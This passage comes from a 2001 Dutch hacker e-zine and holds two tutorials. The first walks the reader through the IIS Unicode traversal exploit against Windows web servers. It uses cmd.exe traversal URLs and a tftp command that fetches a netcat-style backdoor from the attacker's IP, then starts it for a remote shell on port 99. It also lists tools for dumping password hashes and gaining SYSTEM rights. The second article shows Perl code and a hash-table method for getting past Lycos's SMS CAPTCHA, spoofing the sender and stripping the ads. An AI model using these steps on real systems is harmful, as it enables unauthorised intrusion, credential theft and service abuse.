/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe \?/c\+dir HTTP/1.0\r\n\r\n Als je nu een soortgelijk resultaat in je scherm krijgt als dat je het commando dir in je command prompt zou geven heb je een webserver die niet! gepatched of hardnedd is. Even voor de duidelijkheid, een standaard installatie van Windows2000 server incl. IIS5.0 + Service Pack 1 en een installatie van Windows NT incl IIS4.0 + Service Pack 6 is nog steeds Hackeble!! d.m.v. deze techniek. Stap 3, Je heb de mogenlijkheid iets te hacken, je hart begint te kloppen, je adrenalinelevel stijgt naar ongekende hoogtes, what's next? Eventjes afkoelen vriend (of vriendin). Je bent nu best wel ver maar nu is het tijd om jezelf dit goed in te prenten JE BENT STRAFBAAR, KEN JE RISICO! Ow kee… je bent er nog, we gaan verder. Je kunt nu verschillende dingen doen maar het meest logische zou zijn het uploaden van verschillende tools naar je doelwit dus gaan wij dat ook doen. Download een TFTP-server, TFTPD32 is beschikbaar op www.ictbeveiliging.nl/tools en is gratis te gebruiken. Deze TFTP-server gaan we runnen en configureren in Settings, Base directories dat deze naar een directory wijst van jouw keuze bijv: c:\hacktools. In deze directorie zetten we de volgende tools: Ncx99.exe Dit bindt een commandprompt aan poort 99. Spcheck.exe Dit kijkt welke service packs en hotfixes op de machine zijn geinstalleerd. Pwdump.exe Dit dumpt de passwordhashes. Sechole.exe Dit geeft je de rechten van het SYSTEM-account (werkt alleen op NT4.0 + Service Pack 5 en lager). Regdump.exe Dit dumpt de registry. Indien je deze tools niet heb zijn ze te downloaden van www.ictbeveiliging.nl/tools. Om deze tools te uploaden toets je het volgende in in je browser (als 1 zin): http://www.doelwit.com/scripts/..%c0%af../ winnt/system32/cmd.exe?/c+tftp +-i+jouw.eigen.ip.adres+GET+ncx99.exe+c:\\inetpub\\scripts\\ncx99.exe (letop dubbele backslash) Je zal dan zien dat je TFTP-server een read request krijgt voor ncx99.exe en deze dan gaat uploaden. Je kunt als hij klaar is controleren of ncx99.exe er staat door de volgende URL in je browser in te toetsen: http://www.doelwit.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\inetp ub\scripts Voor de 1337, wat doe je hier nog als je zo 1337 bent ?!?!!!! Stap 4, Je bent echt crimineel bezig nu! Ben jij sterker dan drank? Hacken maakt meer gekken dan lief is. Ow kee.. nadat je ncx99.exe up heb geload wordt het nu tijd om je remote shell te gaan krijgen. Voor de newbies, een remote shell is een command prompt die op op jouw scherm zichtbaar is maar op het doelwit draait (supersimpel uitgelegd) elk commando wat je in dat scherm typt wordt op je doelwit uitgevoerd. Om het programma ncx99.exe op te starten toets je de volgende URL in je browser: http://www.doelwit.com/scripts/ncx99.exe Zien we een patroon?? Als je nu telnet naar poort 99 zou je het volgende te zien krijgen: Voor de newbies, toets op start en typ in run/uitvoeren telnet www.doelwit.com 99 daarna enter. MicrosoftWindows blah blah Copyright blah blah C:\Inetpub\scripts> Je heb nu een remote shell, als je wat intypt zal je waarschijnlijk niet zien omdat je local echo moet instellen op telnet. Klik op terminal, preferences en vink Local echo aan. Je heb nu een shell onder de rechten van IUSR_MACHINENAAM dus tenzij ze een slechte rechtenstructuur hanteren kun je nu nog niet veel maar vanaf hier zijn er genoeg mogenlijkheden om je rechten te escaleren. Dat zal ik later nog wel eens aan de tekst toevoegen. Voor mij een goede tijd om maar eens te stoppen met deze tekst. Last words, ik heb deze tekst geschreven voor de E-zine Hacker4Hackers GOOD JOB GUYS! (www.hackers4hackers.org). Hiermee bedoel ik niet dat ik de lezers van de E-zine niet hoger inschat qua kennis ( 8-î. Updates, aanpassingen, uitbreiding en vervolgdelen van deze tekst zal beschikbaar komen op www.ictbeveiliging.nl/papers. Yows twully, VortexXx ------------------------------------------------------- 15. Lycos sms security kraak ------------------------------------------------------- Een tijdje geleden werd er door veel mobiele-providers in nederland besloten om de sms-sendservers van internet te blokkeren. Een van de weinige sms-services die nog wel werkt is die van Lycos. Op de site van lycos kan gratis sms verstuurd worden. Deze sms bevat een reclame die bovenaan het bericht komt te staan bij de ontvanger. Lycos heeft getracht deze sms-service te beveiligen door middel van een afbeelding (jpeg) waar een getal op staat wat ingevoerd dient te worden. Tevens is de sms-pagina alleen bereikbaar als men er via een advertentie die eerst geopend wordt komt. Er zijn dus drie dingen die lycos heeft bij zijn sms-service: - reclame - alleen bereikbaar via goede referer - beveiliging dmv code Laat dit artikel nu net over die dingen gaan. Deze drie punten en enkele andere zullen in dit artikel worden besproken. Als eerste kijken we even naar de referer (punt 2). Als we een request willen doen op de lycos server via een script dienen we rekening te houden met de referer. Dit komt wel vaker voor bij sites en is niet erg indrukwekkend. Het sniffen van de header is een makkelijke manier om erachter te komen welke informatie er gestuurd moet worden. Het sniffen van de lycos header naar de smspagina bracht dit: --------- GET /channels/mobile/sms/index.html HTTP/1.1 Accept: application/msword, application/vnd.ms-powerpoint, application/vnd.ms- excel, image/gif, image/pjpeg, */* Referer: http://www.lycos.nl/channels/mobile/sms/ad2.html Accept-Language: rs1_386376a0c3e;q=0.0,rs2_411d5a45300;q=0.0,rs3_485462c6d6;q=0.0 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98) Host: www.lycos.nl Connection: Keep-Alive Cookie: XP=seen; SMS=Okay; popup=1004636982830 --------- Zoals je ziet is de referer de advertentie-pagina (http://www.lycos.nl/channels/mobile/sms/ad2.html). Zetten we dit om in een perlscript request krijgen we dit: --------- $sock = IO::Socket::INET- >new(Proto=>"tcp",PeerAddr=>"www.lycos.nl",PeerPort=>"80"); if ($sock){ print $sock " GET http://www.lycos.nl/channels/mobile/sms/index.html HTTP/1.1 Accept: application/msword, application/vnd.ms-powerpoint, application/vnd.ms- excel, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Referer: http://www.lycos.nl/channels/mobile/sms/ad2.html Accept-Language: rs1_386376a0c3e;q=0.0,rs2_411d5a45300;q=0.0,rs3_485462c6d6;q=0.0 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98) Host: www.lycos.nl Connection: Keep-Alive "; --------- De Cookie in de gesnifte header laten we eruit aangezien die niet nodig blijkt. Als we nu na de request een receive doen dan krijgen we de smspagina binnen. --------- sleep 3; recv($sock,$rawdata,200000,0); close ($sock); --------- De sleep is om de server wat tijd te geven en ook daadwerkelijk de hele pagina te ontvangen en niet alleen een gedeelte ervan. De ontvangbuffer is wat aan de grote kant maar hij kapt hem toch af als de pagina binnen is. We hebben nu dus de sms-pagina kunnen ontvangen zonder naar de pagina te zijn gegaan. Niet erg indrukwekkend maar nu hebben we een begin en kunnen we door. Uit de sms-pagina kunnen we de variabelen halen die nodig zijn om de sms te versturen. Na een korte bestudering van de sms-send procedure zien we dat alles gecheckt wordt op de site zelf in een java script. Het versturen van de sms zelf gebeurd door een "GET" request naar een cgiscript op een andere server. Het gebruik van "GET" is enigszins verbazend, maar daar zal lycos wel een reden voor hebben. Om de preciese header te hebben van het send gebeuren gebruiken we wederom een sniffer. De header die eruit komt is dan: --------- GET /nl/cgi- bin/sms/send_nl_sms6.cgi?prg=1&ticket=52616e646f6d4956fa8d0de912379ed 6eff726a2108e22e1ede9bae16b39b465&msg_nr=12345&gsm=0666031337&msg=tezzt&charslef t=98&org=0666031337&security=1234&submit.x=53&submit.y=17 HTTP/1.1 Accept: application/msword, application/vnd.ms-powerpoint, application/vnd.ms- excel, image/gif, image/x-xbitmap, image/jpeg, i mage/pjpeg, */* Referer: http://www.lycos.nl/channels/mobile/sms/index.html Accept-Language: rs1_386376a0c3e;q=0.0,rs2_411d5a45300;q=0.0,rs3_485462c6d6;q=0.0 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98) Host: smscgi.lycos.de Connection: Keep-Alive --------- Zoals je ziet, zien we de referer weer die we moeten gebruiken, en de variabelen die het cgiscript wil hebben. Deze variablen op een rij zijn: "prg, ticket, msg_nr, gsm, msg, charsleft, org, security, submit.x, submit.y" De variablen: "prg, ticket, msg_nr, submit.x, submit.y" kunnen uit de source van de sendpagina gehaald worden. De variablen: "gsm, msg, org" dienen zelf ingevuld te worden. "gsm" is namelijk het nummer waar je naartoe stuurt. "msg" is de msg die je stuurt en "org" is het nummer waar je sms vandaan stuurt, je eigen nummer dus. Dan houden we nog "charsleft" en "security" over. "charsleft" kan worden berekent door het aantal characters dat je msg bevat af te halen van de "charsleft" die je in de source van de sendpagina mee krijgt. Hier verderop in het artikel meer over. Hetgeen waar we ons nu mee bezig gaan houden is de security. Op de sms-send pagina van Lycos staat dus een jpeg met een getal erop. In de source van de sendpagina kunnen we die url terug vinden. Deze url is als volgt: "http://smscgi.lycos.de/service/smsblow.pl?ticket=52616e646f6d49565d8ffa9dba8b12 3ebb6dcb2e6ea623d1a59715a3cb74437e" Hieruit kunnen we halen dat deze plaatjes dus op een duitse lycos server staan (smscgi.lycos.de). Het ticket wat mee wordt gegeven is hetzelfde als wij later mee zullen sturen naar de smsserver. Het script wat aan wordt geroepen (smsblow.pl) lijkt op een blowfishencryptie script, dat zou ook het lange getal in de ticket ook verklaren. Elke keer als er een request wordt gedaan naar de smspagina krijg je dus een random getal. In de vorm van een jpeg dus. Het zou voor een sms-send script een stuk makkelijker zijn om niet steeds zelf dat getal in te hoeven typen, maar dat het script dus zelf het plaatje zou kunnen lezen. Uit enig onderzoek zal blijken dat de "tickets" elke keer zullen verschillen. Het idee om dus alle tickets in een database te zetten met daarbij de getallen gaat niet op. Plus dat dan alle getallen alsnog met de hand een keer ingevoerd dienen te worden. Een ander idee is om de afbeeldingen proberen te laten lezen via OCR text herkenning. Maar laten we de plaatjes eerst eens zelf bekijken. Door de plaatjes te downloaden met bijvoorbeeld wget ( wget http://smscgi.lycos.de/service/smsblow.pl?ticket=52616e646f6d49565d8ffa9dba8b123 ebb6dcb2e6ea623d1a59715a3cb74437e -O jpeg ) En vervolgens de source van het plaatje te bekijken. Dan zien we dat de eerste regel bestaat uit: ÿØÿàJFIFÿþ;CREATOR: gd-jpeg v2.0 (using IJG JPEG v62), quality = 25 oftewel: JFIF;CREATOR: gd-jpeg v2.0 (using IJG JPEG v62), quality = 25 Na enig onderzoek hierna blijkt GD een programma te zijn om plaatjes te genereren. Iets meer onderzoek laat zien dat er ook een GD.pm is. Een module voor perl die plaatjes genereerd. Van deze module is de laatste versie gebruikt om deze plaatjes te genereren. Eerdere versies gebruikte .gif als extentie, maar vanwege de rechten van gif plaatjes zijn ze over gestapt op .jpeg plaatjes. De GD.pm module is snel geleerd door de handleiding te lezen (perldoc GD.pm) en na enig oefenen is het namaken van de plaatjes van lycos een feit. Hieronder de regels die gebruikt worden voor de lycos jpegs, de # comments geven uitleg erbij. ------- use GD; # het gebruikmaken van de GD module $im = new GD::Image(50,20); # een nieuwe image creeren met het formaat 50 bij 20 $grey = $im->colorAllocate(100,100,100); # de grijse kleur instellen van de achtergrond $white = $im->colorAllocate(255,255,255); # de witte kleur instellen van de letters $im->fill(5,5,$grey); # de achtergrond grijs maken $im->string(gdLargeFont,10,2,"0000",$white); # De witte letters in het plaatje zetten, 0000 is ons getal ------- Als we deze module dan de jpeg laten maken ziet hij er veel te netjes uit vergeleken met de lycos jpeg's. De oplossing hiervoor is om de jpeg op een mindere kwaliteit op te slaan. Uit de file konden we halen dat er achter quality "25" stond. Dus gaan we de jpeg op quality 25 zetten. Dit door de volgende regel: ------- print FILE $im->jpeg(25); ------- Als we ons plaatje nu bekijken en vergelijken met de lycos plaatjes blijken ze precies hetzelfde te zijn. We kunnen dus alle 10000 plaatjes van lycos zelf namaken. Maar wat is het nut daarvan? We zouden ze allemaal in een grote database kunnen zetten om vervolgens het ons toegewezen plaatje ermee te vergelijken. Maar dat zou een erg grote database worden plus dat ze niet erg makkelijk te vergelijken zouden zijn. Zou het slim zijn om te kijken waar de verschillen zitten in al die 10000 files? Dat zou ook teveel werk zijn. We moeten dus een betere manier verzinnen om al die 10000 files mooi in een database te krijgen en die makkelijk vergelijkbaar te maken. Aangezien onze zelf gegenereerde plaatjes precies hetzelfde zijn als de plaatjes van lycos moeten we daar toch iets mee kunnen. De oplossing die ik hiervoor heb bedacht is om van elk plaatje een MD5 (hex) hash te maken. Dit is met een perlscript zo opgelost en binnen een paar minuten heb je alle 10000 plaatjes netjes met hun hash in een database staan. Hetgeen ons dan nog rest is om vanuit ons eigen script die database aan te roepen. Iets wat geen moeite meer is. Na het vergelijken met het ons toegestuurde plaatje blijkt dat uit de database perfect het nummer wat erbij hoort valt te halen. Je zou nu dus kunnen zeggen dat de security van lycos zijn sms-pagina gekraakt is. Wat hebben we nu? We kunnen nu zelf met een eigen script smsjes versturen via de server van lycos waarbij we geen last meer hebben van de jpeg controle. We kunnen dit nog enigzins uitbreiden, doordat de lycossite alleen de variablen checkt op de site zelf, kunnen we zelf de afzender bepalen. Dat kon natuurlijk al, maar we zijn niet gebonden meer aan cijfers. Ook letters zijn mogelijk om te sturen. We kunnen dus sms versturen, zonder de site, met als afzender wat we maar willen. Dan lijken we klaar, maar nee, we zitten nog met 1 ding. De reclame die lycos elke keer meestuurt als je een sms naar iemand stuurt. De reclame die wel eens op kan lopen tot 3 regels. Waardoor je soms meer reclame stuurt dan sms. Daar gaan we wat aan doen, maar hoe? Uit de source van de pagina krijgen we mee hoeveel letters we mogen sturen (charsleft). Wederom wordt er op de site gecheckt hoeveel characters dat zijn. Dit zijn meestal 103 characters, maar ons script maakt geen gebruik van de site. Dus wat gebeurd er als we eens 130 letters ofzo sturen. Of zelfs zoveel als er in een sms passen, 160 characters dus. Het blijkt dat als naar de lycos smsserver 160 characters verstuurd worden dat de smsserver geen plaats meer ziet voor de reclame en deze dus achterwege laat. Om niet steeds zelf elke sms vol te hoeven schrijven kan in een script worden gezet dat de rest van de sms vol wordt gezet met "+". Het script van lycos maakt gebruik van de "+" als spatie. Dit wordt in het script omgezet, en dus gezien als characters. Een nieuwe opsomming van wat we dus voor elkaar hebben is dat we sms kunnen verzenden via de lycosserver, zonder reclame, met als afzender wie we maar willen, bestaand uit 160 characters. Dat is toch aardig wat. Aangezien de lycos sms server een van de weinige servers is die nog toegestaan worden door de nederlandse providers. Zodra dit artikel uit komt hoop ik dat lycos deze fouten gefixed heeft. Ze zullen dit artikel ook eerder ontvangen dan dat het uitgebracht wordt. Dit artikel is ook alleen bedoelt voor educatieve doeleinden en niet als manier om misbruik te maken van de smservers van lycos.... N|ghtHawk, 2001 nighthawk@hackers4hackers.org tnx to: Wim, Inz, Scorpster, Asby, ZandbakCrew, BSFH